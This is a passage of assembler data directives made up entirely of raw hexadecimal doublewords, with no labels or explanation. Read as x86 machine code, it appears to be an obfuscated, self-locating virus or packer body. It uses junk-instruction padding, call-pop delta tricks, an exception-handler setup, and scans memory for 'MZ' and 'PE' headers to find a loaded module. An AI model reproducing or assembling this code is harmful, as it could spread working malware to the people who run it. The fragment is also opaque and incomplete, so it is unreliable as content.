5EC35E20h, 4247489h, 4244481h dd 18h, 73C35646h, 0F574BC12h, 8BF6B70Fh, 32EE1B5h, 65958906h dd 0FF060308h, 0D9BD89D3h, 0FF060317h, 31D0185h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 4B1A752Dh, 8B6310F1h, 323B5B5h, 7C4E906h, 0E80000h dd 5D000000h, 10D2ED81h, 8D290607h, 603219Dh, 16D9BD81h dd 7D00603h, 860F0000h, 173h, 919D8BF5h, 6A060309h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 3387C351h, 0C8539E36h, 0CE9h, 0D7179C00h, 0C9AE829Eh dd 9B5CB4ADh, 0E381C2h, 0F000001h, 586h, 4ECEBF00h, 0DB0B76B9h dd 9B850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 519C99C3h, 266B259Dh, 8B4D026Dh dd 32159B5h, 19B58B06h, 83060321h, 70F45BDh, 840F0006h dd 3Dh, 51BD8B51h, 5E06030Ch, 66E9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 2DB74BAh, 0F5BE667Bh dd 6830FE0h, 8B000000h, 31881B5h, 4585C706h, 106070Fh dd 0E9000000h, 9, 0AE749F17h, 0B885454Bh, 19E9D6h, 0B70F0000h dd 4585C7F1h, 6070Fh, 0F000000h, 683h, 0FDBD0B00h, 8D060329h dd 309919Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0BC4C05B8h, 0F9B2446Eh, 15BD8B14h dd 8106032Ah, 0FFFEFF23h, 57006AFFh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 86DEDAA0h dd 85B501DCh, 0E9060314h, 0Fh, 4AB20722h, 43A1CD50h, 42AB9233h dd 6612B512h, 0BD29DB8Ch, 603085Dh, 0F04C3F6h, 8F84h, 1DBD8B00h dd 0FF060308h, 300A995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0B58BC744h, 60320F5h dd 0FE9h, 0F9B50300h, 752DBA95h, 10F14B1Ah, 65AADC63h dd 50F88B90h, 52505250h, 810F310Fh, 0 dd 310F585Ah, 0AE9h, 83750C00h, 0E19DB5BFh, 5A7A0C94h dd 6A9058h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0DEB9E7C3h, 3FD8D82Bh, 0AA9EBF66h, 3BBE9h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 62E3A099h, 0A6DE7A4Dh, 0B58B4068h, 60307D9h dd 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0E6B603C3h, 56006A70h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E4A524BBh dd 0D8B60F71h, 0A698589h, 8B0F0603h, 6, 0C15B589h, 6BA0603h dd 0F000000h, 0A83h, 4840F00h, 66000000h, 8BAFE1BFh, 57006AC3h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 31CB4BE4h, 2BB2BE66h, 0E8C1F38Bh, 57006A04h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0F7660969h dd 8BD82BE2h, 31D7DBDh, 79BD8B06h, 93060317h, 0BD899350h dd 6030475h, 19F1B503h, 0B5FF0603h, 60316D9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 8DC35343h, 58C0F15h dd 0BF000000h, 5E9101E1h, 0FF5B503h, 95FF0603h, 60323A5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0E2C35343h dd 0D61808BFh, 0B00B02Ch, 3267DBDh, 6A70E606h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 26E9C352h, 3A57B103h, 79B589B9h, 0E4060319h, 57006A71h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 3CA524BBh, 9830F61h, 0FC000002h, 6AD8B60Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 3D77C350h, 7182F3D6h, 6BA47DFh, 8B000000h, 0F8BF0FC3h dd 6A04E8C1h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 163C357h, 85200DBBh, 0EB9BD8Bh dd 0F7660603h, 1DBD8BE2h, 2B060316h, 0FB8B66D8h, 148B0F58h dd 0E9000000h, 0Fh, 473C3416h, 17A82285h, 94C80DF3h, 2B8D2005h dd 7D880FD8h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0E19AC353h, 90F4AFBh dd 320519Dh, 12E906h, 77E90000h, 11740817h, 41B3323Ch dd 4163238Ch, 0DD3640DCh, 7B9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 64D3630h, 5E8B01D3h dd 0BEBF66F7h, 0C183E0h, 81B52956h, 5F060323h, 194DB58Bh dd 0D93B0603h, 0FA860Fh, 0FBE0000h, 66228124h, 9509D98Ch dd 6030065h, 0F04C1F6h, 0C284h, 1D958900h, 0FF060326h dd 300A995h, 6E906h, 299C0000h, 0C3CA593Eh, 50006A5Bh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 896053E6h, 32EF1BDh, 6DBD8906h, 61060300h, 0E9C32B5Fh dd 8, 6E4FCA3Dh, 0B5943815h, 8343Dh, 64860F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 786FC350h, 5E6934E9h, 68C0Fh, 85090000h dd 6032F19h, 209D9509h, 4DE90603h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 869DC356h, 8D0B60D1h, 6032F9Dh, 491958Bh, 8B610603h dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0F6BF0F12h, 0D88BC38Bh, 0C7F38B66h, 31D2D85h dd 0BF1D9906h, 8E85Eh, 24E70000h, 272987D1h, 0B589BA94h dd 6030ED1h, 66C08B5Fh, 8D67E681h, 16D9BD81h, 7D00603h dd 850F0000h, 16h, 0C0DFB860h, 8B665153h, 85FF61F0h, 60316D9h dd 2015B58Bh, 0B5FF0603h, 60316D9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 8C35141h, 0BF669775h, 0BF0F517Dh dd 0A595FFF9h, 6A060323h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0B110C351h, 0FDC75646h dd 9A87AC51h, 17C5B58Bh, 6A900603h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 1F50C353h dd 0F162DFA6h, 0CBCF8169h, 6070C555h, 9AB9F78Bh, 610DFB8Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C35242h dd 4203496Fh, 0E979DD7Ah, 0Bh, 4C9FDFB9h, 203155BEh, 0F7FC039h dd 800FF2BFh, 6, 25F9BD33h, 11E80603h, 14000000h, 19E20E3Fh dd 939D1F4Dh, 6856116Eh, 0BBD1F010h, 0DE9h, 0F016F00h dd 9FC65BA7h, 0D6612EDh, 0EE9781Dh, 9F000000h, 9CF318F6h dd 82F08BB3h, 341FAEC0h, 6A5FB7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 6911EBC3h, 0DC9B26F1h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0A8C35545h dd 0B58BB22Bh, 6031B9Dh, 14E8h, 0BE13BB00h, 8F0B6FD2h dd 0D638673Eh, 0EEB07800h, 171F47E6h, 0E68166E0h, 0E95E55EFh dd 0FFFFF842h, 0E958589h, 6A600603h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 741AC352h dd 3FACA97Bh, 49858956h, 0B9060314h, 0FFFFFFFEh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 54C35545h, 0CB58D21h dd 0B58B0603h, 6031719h, 9918D21h, 6A0603h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 423932C3h dd 8BCDEE80h, 30CB58Dh, 0D2BF0F06h, 0F01E183h, 685h, 95DA8100h dd 8B7F9F90h, 309918Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 4F709B2h, 0E9262692h dd 0Ch, 0F1CB8BBCh, 8735290h, 37A974C0h, 0F01E183h, 2585h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0C28BFC14h, 0B8D9D8Bh, 60610603h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 71C35545h, 8CBFC48Fh dd 0EAE540C1h, 2EB99D8Bh, 870F0603h, 6, 6419D8Bh, 0FEB90603h dd 8BFFFFFFh, 320499Dh, 0B58D2106h, 6A06032Eh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0DC4DC350h, 8B00CBECh, 3160595h, 0C9BD3106h, 2106032Dh dd 316998Dh, 0AEBF6606h, 9E848h, 0B6BC0000h, 0A8B36B80h dd 0E84584DEh, 11h, 0D485A922h, 0F0E1A13Bh, 0D87ACF98h dd 4222E7F1h, 8E0F23h, 5F000000h, 0B58D8B5Fh, 6A06032Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0EEE1C356h, 0D2DB58Bh, 0E1830603h, 19850F01h dd 0E8000000h, 0Ah, 0B57158A3h, 5DC6B93Fh, 0F960F59Ch dd 166D8D89h, 5F610603h, 16998D8Bh, 6A0603h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8B3DDBC3h dd 3004D9Dh, 758D3106h, 83060308h, 850F01E1h, 22h, 0E853006Ah dd 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 31C35343h, 14498D89h, 60610603h dd 2925958Bh, 0BA660603h, 0FEB9780Ch, 3FFFFFFh, 30A5D85h dd 118D2106h, 0F060331h, 682h, 119D8B00h, 2106030Eh, 322B58Dh dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 68F7CD76h, 14911ABBh, 118D8BA2h, 6A060331h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 66EBC353h, 8CD936F4h, 1E183F5h, 2850Fh, 0C68B0000h dd 22B58D8Bh, 8D0F0603h, 6, 20BDBD8Bh, 0E1830603h, 22850F01h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0C824C353h, 8BBA0D85h, 0E86061D3h dd 0Fh, 20CF1E58h, 0ABB7E5F7h, 7760BE31h, 8BDE5354h, 31CFD95h dd 0FEB95E06h, 6AFFFFFFh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0A7A3C353h, 210CF12Fh dd 68BA6642h, 798D210Ch, 81060322h, 79CEF0F6h, 2D8D2175h dd 6A06031Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 5695C355h, 0D25BD01h, 8D8B0603h dd 6032279h, 5A9858Bh, 8D890603h, 6032579h, 0F01E183h dd 685h, 3DBD8B00h, 8B060309h, 31D2D8Dh, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0DB03B003h, 1C626023h, 1611858Bh, 0E1830603h, 850F01h dd 61000000h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 4B155321h, 0E05A83BAh, 16D985C7h dd 7D00603h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 7559F3C3h, 8108BAAEh, 6A613Ch, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0C5B171C3h, 9D6107EBh, 0E9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0D3CE78BEh dd 0BE860h, 226D0000h, 97D33C40h, 0F9D8F285h, 799D8B92h dd 5F060305h, 6A61F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 899934C3h, 8B7867FEh, 32F859Dh dd 0B5BD8906h, 8B060326h, 104BEBC1h, 3C2F0E09h, 0DA4B1AC5h dd 0D41CA4ACh, 0E45C5CD2h, 3134CE00h, 27CE1BF5h, 34D129B3h dd 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh, 0C01100A6h, 0EA1A004Dh dd 0D5A3h, 199C0000h, 0FEC3h, 0FBFE41h, 41280000h, 7DD427E6h dd 80E9C372h, 8100000Ch, 0CE7F30E2h, 89BD837Ah, 6031Dh dd 3F850Fh, 0BF0F0000h, 0B8D6h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 815474C3h dd 0D14FFAE7h, 9CFEBF19h, 4C2139Bh, 68F0F00h, 1000000h dd 32121BDh, 66C08B06h, 70C3CB81h, 0E880Fh, 9E90000h, 0C7000000h dd 0EEF1A1ABh, 0FF46B815h, 4E5BD83h, 75000603h, 39BD8309h dd 60323h, 53501374h, 0D0B8C08Bh, 8D000004h, 5B3939Dh dd 5BD3FF06h, 39BD8358h, 60323h, 53501174h, 4D0B8h, 0E09D8D00h dd 0FF0605B2h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0F8A1C352h, 0B7D08B66h dd 8BC08B15h, 3193D95h, 9D858D06h, 8906071Dh, 32C499Dh dd 5A525006h, 0E8240489h, 11h, 48581497h, 295AA2A6h, 0E13E019Ch dd 0D2949F77h, 9995297Dh, 5A06030Fh, 1D5A858Dh, 0F58A0607h dd 0E8B0F90h, 50000000h, 0F5A5252h, 0F525031h, 5A585A31h dd 13E95058h, 1B000000h, 507625B6h, 95EB6459h, 66030DC4h dd 12372D5Ch, 89906658h, 3064DBDh, 7195FF06h, 6A060309h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 6051C353h, 0E8616CB4h, 12h, 0DF2D146Ah, 45BF53E3h dd 2B0A5781h, 0B5FE6754h, 0D98B0D16h, 24448B5Ah, 89D38B04h dd 71D8585h, 218D3306h, 6006031Ch, 0BE9F5h, 0F45E0000h dd 3793942Eh, 0A79A0028h, 448B61BCh, 0EE80824h, 0CE000000h dd 0CB8713F2h, 6D39A79Dh, 51E4950Bh, 0D9BD2395h, 5F060326h dd 1D998589h, 0BD8B0607h, 60322C9h, 194A82BBh, 25BD836Fh dd 6031Bh, 133850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0EF1BADC3h, 8957C9ABh dd 3058595h, 0EE95F06h, 0EE000000h, 36E745DDh, 49BE58FAh dd 0EE21804Ch, 0A185C645h, 4706031Bh, 8E9h, 9B07B100h dd 0F7367CFh, 4E8D9h, 0A7D20000h, 11E8D49Ah, 32000000h dd 3EAC1283h, 0A227D7E6h, 182295D1h, 2B911B7Fh, 1953BA66h dd 8B66505Fh, 24448BD6h, 0F88B6604h, 0BB66008Bh, 44894571h dd 0DD8A0424h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0BD315466h, 60305F9h dd 25B1B529h, 0B5FF0603h, 6032471h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 9DC35646h, 858DF517h, 6067C58h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A2C35343h dd 3160F1C2h, 3037195h, 53C38106h, 615D9F24h, 0D0FFE88Ah dd 0FE8h, 61696100h, 59CFCD5Eh, 6AE916C9h, 17482FA8h, 26CD8529h dd 895A0603h, 31B2585h, 0F88B5606h, 89BD8359h, 6032Eh dd 10A850Fh, 0B5290000h, 603265Dh, 1BA185C6h, 0F8470603h dd 4E8h, 0FB5E200h, 0FDBB668Ah, 0BB665049h, 448BC9CFh dd 0CA8B0424h, 5250008Bh, 0E483FBBFh, 66310F74h, 5A7634BFh dd 24448958h, 2850F04h, 8B000000h, 0BF0F58CEh, 28E0FDFh dd 8B000000h, 71B5FFCFh, 6A060324h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8DE2C357h dd 67C5885h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 41A6F984h, 6AD0FF09h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0E6BAC356h dd 96BB666Bh, 11E96Ah, 0A9220000h, 0A13BD485h, 0CF98F0E1h dd 0E7F1D87Ah, 89234222h, 32E8985h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0CF6DB88h dd 0BDA0F35Ch, 9E9312Bh, 80000000h, 0C1860D99h, 88C8B1BAh dd 2415BD83h, 0F000603h, 9385h, 0FD958B00h, 8B060317h dd 32F919Dh, 0A185C606h, 5606031Bh, 2F61B501h, 0F9600603h dd 6840Fh, 9D8B0000h, 6031751h, 0B2936861h, 3481B643h dd 5CDFAA24h, 36C0BA62h, 0B5FF6C28h, 6032471h, 858D67B1h dd 6067C58h, 2265BD89h, 0D0FF0603h, 10E9h, 0C72A6F00h dd 86563701h, 7B48F304h, 0BACA461Dh, 158589ECh, 6A060324h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0F817C351h, 96DBD89h, 0C2810603h, 156F0FB0h dd 1BA185C6h, 6A6C0603h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 47EC356h, 68BABE2Bh dd 0BD22A1B9h, 3830Fh, 8B660000h, 243481F8h, 6627D13Ah dd 0AE9h, 0ED34CD00h, 0AE4AB809h, 0FF7212C1h, 302E1B5h dd 8D4BB306h, 338E085h, 0FE906h, 91230000h, 76575DE3h dd 0F458B092h, 3AC88370h, 66D0FFB4h, 898BBDBFh, 71D8985h dd 0AE906h, 0C5730000h, 0BEFB35EFh, 3C43DC0Ah, 0EE9046Ah dd 48000000h, 37CF7F1h, 0E8327B87h, 0D59978FFh, 0A3946843h dd 481C2F4h, 0B6C6C24h, 56006A3Dh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0D600149Fh, 4E81DD8h dd 0 dd 60000100h, 0EE9h, 1E63CA00h, 87889760h, 0F7E537A6h dd 0E992F890h, 7, 1DBCB146h, 610BD591h, 0F525050h, 683h dd 0F525000h, 0F585A31h, 0BF666031h, 7E96F8Fh, 2000000h dd 0A881FC7Ch, 5A61AE0Ch, 24448B58h, 8BA1B604h, 0CF8B6600h dd 4244489h, 58CE8B66h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 61C35141h, 0F280C5B1h, 0FF006A3Eh, 323B995h dd 8BFC8A06h, 3235195h, 95858906h, 2306071Dh, 308658Dh dd 68006A06h, 0DAD30F66h, 0DE9h, 0FC102400h, 0E9BF0755h dd 0B6BBF471h, 4812B85h, 2DF09A24h, 0C1816625h, 66509266h dd 489CA8Bh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 5EB11814h, 335958Bh, 0B6A0603h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0A0C35343h, 0EA81661Dh dd 95233B74h, 6032581h, 1D62858Dh, 8B660607h, 2DB950D8h dd 894D2D4Ch, 81532404h, 0E2C109EBh, 95FF5B07h, 6031B25h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0F7C35040h dd 0CC362178h, 0CA311FD1h, 0F1958BABh, 8D060323h, 71D6CB5h dd 5ABA6606h, 7FBB9656h, 500619E7h, 685F33BBh, 6A9601h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0B95016C3h, 0BAE28166h, 525050EFh, 10E9h, 2925AB00h dd 7775915h, 3C8EB3B1h, 94EB05E1h, 0F310F1Eh, 89h, 89585A00h dd 95292404h, 60323F1h, 2E8995FFh, 0BD8B0603h, 603143Dh dd 0B589D0FFh, 6030BEDh, 1D95B58Bh, 0BA660607h, 0DCB39462h dd 1D8D85C7h, 607h, 8D8B0000h, 60307C5h, 207E80h, 2DA840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 93BD98C3h, 38A0Fh, 0B70F0000h, 816660DEh dd 8D5136D3h, 0B6572046h, 85895FF0h, 6071D91h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 9C35343h, 91BE6660h dd 5E91Eh, 75090000h, 61324FDEh, 4DE9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0A50F6F16h, 0D75EEBB7h, 6A40F5h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0BF4DB9C3h dd 2A726C9Fh, 0BA664F6Ch, 38802F2Dh, 0CE850F00h, 89FFFFFFh dd 30829B5h, 48C0F06h, 66000000h, 0E93C5CBAh, 36h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0ABC35646h, 534AC79Dh dd 8B648DF4h, 31FBD9Dh, 0F5952906h, 48060322h, 21799D8Bh dd 38800603h, 2B840F5Ch, 0F000000h, 384h, 0F9B70F00h, 0F2F3880h dd 1984h, 61958B00h, 3B06032Eh, 71D9185h, 0CC830F06h, 66FFFFFFh dd 0B966D98Bh, 8B40D776h, 99BD83F8h, 6071Dh, 99840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 90BE46C3h, 0FE950h, 0BD140000h, 1B5F73B7h, 0A7FA7FB1h dd 0A0FCEDCh, 6A90F3h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0C255A9C3h, 2985BD89h, 0BD8B0603h dd 603161Dh, 1D998503h, 89600607h, 322F595h, 39B0B906h dd 0C6610665h, 0D18B0000h, 52006A58h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 21EF7132h dd 50A08B83h, 453B966h, 23240489h, 32CED95h, 85B5FF06h dd 6A06071Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 9940C352h, 0DDEA9F4Dh, 0D52A9569h dd 1D8995FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 417002C3h, 753B4833h, 0C00BC358h dd 45850Fh, 0B70F0000h, 0BD8961D1h, 6030F05h, 1D8D85C7h dd 10607h, 8D8B0000h, 6030475h, 67E9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0AFD03369h, 0D0F38CF1h, 6121E580h, 21099D8Bh, 0C6810603h dd 11Ch, 0C0E38166h, 0FD46E9AAh, 6AFFFFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 2F8E64C3h dd 0DB5F335Eh, 0BD33DA8Bh, 6032151h, 4E8h, 800000h, 50A0B600h dd 0A8C0Fh, 800F0000h, 4, 15ADBB66h, 424448Bh, 95FC27B9h dd 8A008B6Ah, 244489DEh, 0F525004h, 14E931h, 0EA040000h dd 3BF9A3B4h, 77D31C14h, 3F426651h, 2E0F126Ch, 585AD9BDh dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 3FEEFB05h, 2F98529h, 6A0603h, 0FFFA8B66h dd 71D95B5h, 598D8B06h, 8B060330h, 32EC595h, 1595FF06h dd 8B060324h, 71D8D85h, 12E906h, 93F30000h, 32C79564h dd 694DEBDCh, 0D8A93F25h, 68F7CD76h, 8E850h, 0BC410000h dd 0A859BC8Dh, 895B7174h, 95092404h, 60305E1h, 8DDEC980h dd 71D9D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 64196BF6h, 0E8A8ECABh, 7, 5272C4E4h dd 0F37B66Dh, 15AD2BFh, 32F0DBDh, 4EF3B906h, 66903881h dd 9050FA8Bh, 0DF0AEB81h, 0F514C9Eh, 688h, 0F59D8900h dd 5906030Ah, 1D5A858Dh, 6A0607h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0CA81E0C3h, 1D1F7F93h dd 0D09EBF50h, 489536Ah, 35950924h, 0FF060321h, 3255D95h dd 8B0DB306h, 459523C0h, 83060306h, 304E5BDh, 9750006h dd 2339BD83h, 74000603h, 8B535013h, 4D0B8C0h, 9D8D0000h dd 605B3FAh, 585BD3FFh, 2339BD83h, 74000603h, 0B8535011h dd 4D0h, 0B2F99D8Dh, 0D3FF0605h, 6A585Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0E4B291C3h dd 0B6B2DB84h, 8B660CEEh, 818D29D9h, 8B060325h, 50006AC0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0B0D381ADh, 585FDDF1h, 2E798D89h, 8C20603h, 0F5952B00h dd 8B060322h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 5DBA6675h, 0F1B53111h, 8D060318h dd 71DB085h, 0FFA8B06h, 683h, 158D8B00h, 89060303h, 3208985h dd 75E906h, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h, 2E1B5FFh dd 858D0603h, 6067C58h, 8589D0FFh, 6033071h, 0EFC1FE8Bh dd 680Ch, 6A2004h, 6857026Ah, 1000Dh, 307195FFh, 32E90603h dd 0C6000000h, 31BA185h, 0DF685606h, 0FFA9C530h, 32471B5h dd 58858D06h, 0FF06067Ch, 0DD8589D0h, 8D060305h, 30B7185h dd 206A5006h, 0FF56056Ah, 305DD95h, 0C1C36106h, 0BA06E0h dd 81F008F0h, 0EAh, 14C283F0h, 20AD9589h, 0EA830603h, 8F858D14h dd 5006072Bh, 35FF64h, 64000000h, 2589h, 0E80000h, 58000000h dd 25C22Bh, 66FFFFF0h, 5A4D3881h, 12850Fh, 0B70F0000h dd 0D0033C50h, 45503A81h, 840F0000h, 0Ah, 10002Dh, 0FFD9E900h dd 0C88BFFFFh, 133D8589h, 40030603h, 50B70F3Ch, 0F1958906h dd 8B06031Ah, 95895050h, 6032535h, 0F805h, 0C508B00h, 9589D103h dd 6030FEDh, 89085003h, 3240995h, 58F6406h, 0 dd 0E904C483h, 13h, 244C8B51h, 0B0A98110h, 0 dd 59000010h, 83C3C033h, 32EBDBDh, 840F0006h, 24h, 1BA185C6h dd 68470603h, 0D49AA7D2h, 2471B5FFh, 858D0603h, 6067C58h dd 6AD0FFh, 8589D0FFh, 6031FEDh, 6A60D38Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0FD0C352h dd 187h, 0C08BF900h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0E2C35343h, 0D6C5085Eh, 66EC52CBh, 5A17CE81h dd 4E5BD83h, 75000603h, 39BD8309h, 60323h, 53501974h, 38B8C08Bh dd 89000004h, 31A9D85h, 0BF9D8D06h, 0FF0605B5h, 83585BD3h dd 32339BDh, 17740006h, 38B85350h, 89000004h, 31A9D85h dd 0AE9D8D06h, 0FF0605B2h, 6A585BD3h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 4C1EC357h dd 8E7FE56Fh, 10E9A610h, 45000000h, 0B15967D5h, 0FBBE7A2Dh dd 3BEC2CA9h, 89522D59h, 32F6195h, 6AC08B06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 5359C351h, 9637C14Dh, 973E8F5h, 85290000h, 603063Dh dd 2D258589h, 0B5010603h, 6031B39h, 95CE8h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 66DEE5ECh, 0E80447BEh, 0Ah, 0C57E557Dh, 4CD7550Ch, 8959BFF6h dd 31AB185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 19C4E16Dh, 0FEE8474Fh, 0F5000008h dd 2F758589h, 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0C749FBC3h, 3C168276h, 0EDBD8960h dd 61060329h, 8C8E8h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 59F66EDEh, 68D0F92h, 81000000h dd 7EFAFBC7h, 4D85891Dh, 6A060325h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 8B1DC352h dd 8959572Ah, 317E9B5h, 0BDBD8906h, 0E8060314h, 865h, 2D5B50Bh dd 85890603h, 6032E6Dh, 0EA98589h, 6A0603h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E8BFC6C3h dd 831h, 0E850006Ah, 3, 